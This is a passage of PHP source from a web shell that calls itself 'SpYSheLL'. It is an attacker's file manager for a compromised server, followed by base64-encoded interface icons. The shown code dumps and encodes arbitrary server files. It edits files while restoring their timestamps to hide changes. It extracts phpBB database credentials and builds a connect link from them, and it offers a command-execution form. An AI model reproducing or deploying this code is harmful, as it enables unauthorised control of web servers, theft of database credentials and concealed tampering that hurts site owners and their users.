  4948.   echo "<hr size=\"1\" noshade>";
  4949.  
  4950.   if ($ft == "info")
  4951.  
  4952.   {
  4953.  
  4954.    echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
  4955.  
  4956.    if (!$win)
  4957.  
  4958.    {
  4959.  
  4960.     echo "<tr><td><b>Owner/Group</b></td><td> ";    
  4961.  
  4962.     $ow = posix_getpwuid(fileowner($d.$f));
  4963.  
  4964.     $gr = posix_getgrgid(filegroup($d.$f));
  4965.  
  4966.     echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
  4967.  
  4968.    }
  4969.  
  4970.    echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Olustur time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>Modifiye Zamani</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>";
  4971.  
  4972.    $fi = fopen($d.$f,"rb");
  4973.  
  4974.    if ($fi)
  4975.  
  4976.    {
  4977.  
  4978.     if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
  4979.  
  4980.     else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
  4981.  
  4982.     $n = 0;
  4983.  
  4984.     $a0 = "00000000<br>";
  4985.  
  4986.     $a1 = "";
  4987.  
  4988.     $a2 = "";
  4989.  
  4990.     for ($i=0; $i<strlen($str); $i++)
  4991.  
  4992.     {
  4993.  
  4994.      $a1 .= sprintf("%02X",ord($str[$i]))." ";
  4995.  
  4996.      switch (ord($str[$i]))
  4997.  
  4998.      {
  4999.  
  5000.       case 0:  $a2 .= "<font>0</font>"; break;
  5001.  
  5002.       case 32:
  5003.  
  5004.       case 10:
  5005.  
  5006.       case 13: $a2 .= "&nbsp;"; break;
  5007.  
  5008.       default: $a2 .= htmlspecialchars($str[$i]);
  5009.  
  5010.      }
  5011.  
  5012.      $n++;
  5013.  
  5014.      if ($n == $hexdump_rows)
  5015.  
  5016.      {
  5017.  
  5018.       $n = 0;
  5019.  
  5020.       if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
  5021.  
  5022.       $a1 .= "<br>";
  5023.  
  5024.       $a2 .= "<br>";
  5025.  
  5026.      }
  5027.  
  5028.     }
  5029.  
  5030.     //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";}
  5031.  
  5032.     echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>";
  5033.  
  5034.    }
  5035.  
  5036.    $encoded = "";
  5037.  
  5038.    if ($base64 == 1)
  5039.  
  5040.    {
  5041.  
  5042.     echo "<b>Base64 Encode</b><br>";
  5043.  
  5044.     $encoded = base64_encode(file_get_contents($d.$f));
  5045.  
  5046.    }
  5047.  
  5048.    elseif($base64 == 2)
  5049.  
  5050.    {
  5051.  
  5052.     echo "<b>Base64 Encode + Chunk</b><br>";
  5053.  
  5054.     $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
  5055.  
  5056.    }
  5057.  
  5058.    elseif($base64 == 3)
  5059.  
  5060.    {
  5061.  
  5062.     echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
  5063.  
  5064.     $encoded = base64_encode(file_get_contents($d.$f));
  5065.  
  5066.     $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
  5067.  
  5068.    }
  5069.  
  5070.    elseif($base64 == 4)
  5071.  
  5072.    {
  5073.  
  5074.     $text = file_get_contents($d.$f);
  5075.  
  5076.     $encoded = base64_decode($text);
  5077.  
  5078.     echo "<b>Base64 Decode";
  5079.  
  5080.     if (base64_encode($encoded) != $text) {echo " (failed)";}
  5081.  
  5082.     echo "</b><br>";
  5083.  
  5084.    }
  5085.  
  5086.    if (!empty($encoded))
  5087.  
  5088.    {
  5089.  
  5090.     echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
  5091.  
  5092.    }
  5093.  
  5094.    echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
  5095.  
  5096. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
  5097.  
  5098. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
  5099.  
  5100. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
  5101.  
  5102. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
  5103.  
  5104. <P>";
  5105.  
  5106.   }
  5107.  
  5108.   elseif ($ft == "html")
  5109.  
  5110.   {
  5111.  
  5112.    if ($white) {@ob_clean();}
  5113.  
  5114.    echo $r;
  5115.  
  5116.    if ($white) {ashshexit();}
  5117.  
  5118.   }
  5119.  
  5120.   elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
  5121.  
  5122.   elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,true)); echo "</pre>";}
  5123.  
  5124.   elseif ($ft == "phpsess")
  5125.  
  5126.   {
  5127.  
  5128.    echo "<pre>";
  5129.  
  5130.    $v = explode("|",$r);
  5131.  
  5132.    echo $v[0]."<br>";
  5133.  
  5134.    var_dump(unserialize($v[1]));
  5135.  
  5136.    echo "</pre>";
  5137.  
  5138.   }
  5139.  
  5140.   elseif ($ft == "exe")
  5141.  
  5142.   {
  5143.  
  5144.    $ext = explode(".",$f);
  5145.  
  5146.    $c = count($ext)-1;
  5147.  
  5148.    $ext = $ext[$c];
  5149.  
  5150.    $ext = strtolower($ext);
  5151.  
  5152.    $rft = "";
  5153.  
  5154.    foreach($exeftypes as $k=>$v)
  5155.  
  5156.    {
  5157.  
  5158.     if (in_array($ext,$v)) {$rft = $k; break;}
  5159.  
  5160.    }
  5161.  
  5162.    $cmd = str_replace("%f%",$f,$rft);
  5163.  
  5164.    echo "<b>Uygulanamadi! dosya:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Tamam\"></form>";
  5165.  
  5166.   }
  5167.  
  5168.   elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
  5169.  
  5170.   elseif ($ft == "code")
  5171.  
  5172.   {
  5173.  
  5174.    if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
  5175.  
  5176.    {
  5177.  
  5178.     $arr = explode("\n",$r);
  5179.  
  5180.     if (count($arr == 18))
  5181.  
  5182.     {
  5183.  
  5184.      include($d.$f);
  5185.  
  5186.      echo "<b>phpBB configuration is detected in this file!<br>";
  5187.  
  5188.      if ($dbms == "mysql4") {$dbms = "mysql";}
  5189.  
  5190.      if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
  5191.  
  5192.      else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by SpYSheLL. Please, report us for fix.";}
  5193.  
  5194.      echo "Parameters for manual connect:<br>";
  5195.  
  5196.      $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
  5197.  
  5198.      foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
  5199.  
  5200.      echo "</b><hr size=\"1\" noshade>";
  5201.  
  5202.     }
  5203.  
  5204.    }
  5205.  
  5206.    echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
  5207.  
  5208.    if (!empty($white)) {@ob_clean();}
  5209.  
  5210.    highlight_file($d.$f);
  5211.  
  5212.    if (!empty($white)) {ashshexit();}
  5213.  
  5214.    echo "</div>";
  5215.  
  5216.   }
  5217.  
  5218.   elseif ($ft == "download")
  5219.  
  5220.   {
  5221.  
  5222.    @ob_clean();
  5223.  
  5224.    header("Content-type: application/octet-stream");
  5225.  
  5226.    header("Content-length: ".filesize($d.$f));
  5227.  
  5228.    header("Content-disposition: attachment; filename=\"".$f."\";");
  5229.  
  5230.    echo $r;
  5231.  
  5232.    exit;
  5233.  
  5234.   }
  5235.  
  5236.   elseif ($ft == "notepad")
  5237.  
  5238.   {
  5239.  
  5240.    @ob_clean();
  5241.  
  5242.    header("Content-type: text/plain");
  5243.  
  5244.    header("Content-disposition: attachment; filename=\"".$f.".txt\";");
  5245.  
  5246.    echo($r);
  5247.  
  5248.    exit;
  5249.  
  5250.   }
  5251.  
  5252.   elseif ($ft == "img")
  5253.  
  5254.   {
  5255.  
  5256.    $inf = getimagesize($d.$f);
  5257.  
  5258.    if (!$white)
  5259.  
  5260.    {
  5261.  
  5262.     if (empty($imgsize)) {$imgsize = 20;}
  5263.  
  5264.     $width = $inf[0]/100*$imgsize;
  5265.  
  5266.     $height = $inf[1]/100*$imgsize;
  5267.  
  5268.     echo "<center><b>Size:</b>&nbsp;";
  5269.  
  5270.     $sizes = array("100","50","20");
  5271.  
  5272.     foreach ($sizes as $v)
  5273.  
  5274.     {
  5275.  
  5276.      echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
  5277.  
  5278.      if ($imgsize != $v ) {echo $v;}
  5279.  
  5280.      else {echo "<u>".$v."</u>";}
  5281.  
  5282.      echo "</a>&nbsp;&nbsp;&nbsp;";
  5283.  
  5284.     }
  5285.  
  5286.     echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
  5287.  
  5288.    }
  5289.  
  5290.    else
  5291.  
  5292.    {
  5293.  
  5294.     @ob_clean();
  5295.  
  5296.     $ext = explode($f,".");
  5297.  
  5298.     $ext = $ext[count($ext)-1];
  5299.  
  5300.     header("Content-type: ".$inf["mime"]);
  5301.  
  5302.     readfile($d.$f);
  5303.  
  5304.     exit;
  5305.  
  5306.    }
  5307.  
  5308.   }
  5309.  
  5310.   elseif ($ft == "edit")
  5311.  
  5312.   {
  5313.  
  5314.    if (!empty($submit))
  5315.  
  5316.    {
  5317.  
  5318.     if ($filestealth) {$stat = stat($d.$f);}
  5319.  
  5320.     $fp = fopen($d.$f,"w");
  5321.  
  5322.     if (!$fp) {echo "<b>Dosyaya Yazilamadi!</b>";}
  5323.  
  5324.     else
  5325.  
  5326.     {
  5327.  
  5328.      echo "<b>Kaydedildi!</b>";
  5329.  
  5330.      fwrite($fp,$edit_text);
  5331.  
  5332.      fclose($fp);
  5333.  
  5334.      if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
  5335.  
  5336.      $r = $edit_text;
  5337.  
  5338.     }
  5339.  
  5340.    }
  5341.  
  5342.    $rows = count(explode("\r\n",$r));
  5343.  
  5344.    if ($rows < 10) {$rows = 10;}
  5345.  
  5346.    if ($rows > 30) {$rows = 30;}
  5347.  
  5348.    echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
  5349.  
  5350.   }
  5351.  
  5352.   elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
  5353.  
  5354.   else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
  5355.  
  5356.  }
  5357.  
  5358. }
  5359.  
  5360. }
  5361.  
  5362. else
  5363.  
  5364. {
  5365.  
  5366.  @ob_clean();
  5367.  
  5368.  $images = array(
  5369.  
  5370. "arrow_ltr"=>
  5371.  
  5372. "R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
  5373.  
  5374. "SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
  5375.  
  5376. "back"=>
  5377.  
  5378. "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  5379.  
  5380. "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
  5381.  
  5382. "Wg0JADs=",
  5383.  
  5384. "buffer"=>
  5385.  
  5386. "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
  5387.  
  5388. "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
  5389.  
  5390. "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
  5391.  
  5392. "change"=>
  5393.  
  5394. "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
  5395.  
  5396. "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
  5397.  
  5398. "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
  5399.  
  5400. "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
  5401.  
  5402. "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
  5403.  
  5404. "zMshADs=",
  5405.  
  5406. "delete"=>
  5407.  
  5408. "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
  5409.  
  5410. "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
  5411.  
  5412. "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
  5413.  
  5414. "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
  5415.  
  5416. "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
  5417.  
  5418. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  5419.  
  5420. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
  5421.  
  5422. "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
  5423.  
  5424. "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
  5425.  
  5426. "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
  5427.  
  5428. "jwVFHBgiEGQFIgQasYkcSbJQIAA7",
  5429.  
  5430. "download"=>
  5431.  
  5432. "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
  5433.  
  5434. "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
  5435.  
  5436. "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
  5437.  
  5438. "forward"=>
  5439.  
  5440. "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  5441.  
  5442. "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
  5443.  
  5444. "WqsJADs=",
  5445.  
  5446. "home"=>
  5447.  
  5448. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
  5449.  
  5450. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
  5451.  
  5452. "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
  5453.  
  5454. "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
  5455.  
  5456. "mode"=>
  5457.  
  5458. "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
  5459.  
  5460. "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
  5461.  
  5462. "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
  5463.  
  5464. "dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
  5465.  
  5466. "refresh"=>
  5467.  
  5468. "R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA".
  5469.  
  5470. "AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY".
  5471.  
  5472. "3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ".
  5473.  
  5474. "R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=",
  5475.  
  5476. "search"=>
  5477.  
  5478. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
  5479.  
  5480. "/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
  5481.  
  5482. "s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
  5483.  
  5484. "AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
  5485.  
  5486. "Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
  5487.  
  5488. "setup"=>
  5489.  
  5490. "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
  5491.  
  5492. "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  5493.  
  5494. "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
  5495.  
  5496. "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
  5497.  
  5498. "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
  5499.  
  5500. "small_dir"=>
  5501.  
  5502. "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
  5503.  
  5504. "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
  5505.  
  5506. "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
  5507.  
  5508. "small_unk"=>
  5509.  
  5510. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
  5511.  
  5512. "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
  5513.  
  5514. "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
  5515.  
  5516. "/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
  5517.  
  5518. "/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
  5519.  
  5520. "wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
  5521.  
  5522. "9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
  5523.  
  5524. "66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
  5525.  
  5526. "24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  5527.  
  5528. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  5529.  
  5530. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  5531.  
  5532. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  5533.  
  5534. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  5535.  
  5536. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  5537.  
  5538. "AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
  5539.  
  5540. "aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
  5541.  
  5542. "uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
  5543.  
  5544. "yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
  5545.  
  5546. "yAsokBkQADs=",
  5547.  
  5548. "multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
  5549.  
  5550. "pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
  5551.  
  5552. "sort_asc"=>
  5553.  
  5554. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
  5555.  
  5556. "SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
  5557.  
  5558. "sort_desc"=>
  5559.  
  5560. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
  5561.  
  5562. "SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
  5563.  
  5564. "sql_button_drop"=>
  5565.  
  5566. "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  5567.  
  5568. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  5569.  
  5570. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  5571.  
  5572. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  5573.  
  5574. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  5575.  
  5576. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  5577.  
  5578. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  5579.  
  5580. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  5581.  
  5582. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  5583.  
  5584. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  5585.  
  5586. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  5587.  
  5588. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  5589.  
  5590. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  5591.  
  5592. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
  5593.  
  5594. "AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
  5595.  
  5596. "AQEAOw==",
  5597.  
  5598. "sql_button_empty"=>
  5599.  
  5600. "R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  5601.  
  5602. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  5603.  
  5604. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  5605.  
